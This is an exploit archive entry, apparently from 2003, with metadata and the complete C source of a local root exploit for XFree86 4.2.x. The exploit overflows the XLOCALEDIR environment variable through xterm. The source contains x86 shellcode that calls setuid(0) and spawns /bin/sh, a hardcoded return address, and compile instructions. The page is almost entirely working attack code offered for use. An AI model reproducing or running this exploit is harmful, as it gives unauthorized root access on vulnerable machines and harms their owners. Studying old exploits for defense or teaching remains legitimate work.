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xf42local.c

xf42local.c
Posted Nov 4, 2003
Authored by r3b00t | Site r3b00t.tx.pl

Local root exploit utilizing the overflow in XLOCALEDIR under XFree86 Version 4.2.x using xterm. Tested against Slackware 8.1 with kernel version 2.2.25.

tags | exploit, overflow, kernel, local, root
systems | linux, slackware
SHA-256 | 5fd8f78f2af0410dd41eacb2da05936e9ffd1dfde65f9fc1f23fe0893668246c

xf42local.c

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/*
xf42local.c for XFree 4.2.x by r3b00t <r3b00t@tx.pl>
-----------------------------------------------------
this exploit works with programs that use $XLOCALEDIR
environment variable and gives root privileges.
this bug was discovered by tarranta and dcryptr.
compile: gcc -Wall -O2 -o xf42local xf42local.c
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFF_SIZE 4072

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0); */
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3" /* execve(); */
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80"; /* exit(0); */

int main() {
char buffer[BUFF_SIZE];
int ret=0xbfffeff5;
int i;
printf("xf42local.c for XFree 4.2.x by r3b00t <r3b00t@tx.pl>\n");
printf("ret addr: 0x%x\n", ret);
for (i=0;i<BUFF_SIZE;i+=4) *(long *)&buffer[i]=ret;
memcpy(buffer, shellcode, strlen(shellcode));
setenv("XLOCALEDIR", buffer, 1);
execl("/usr/X11R6/bin/xterm", "xterm", 0);
return 0;
}
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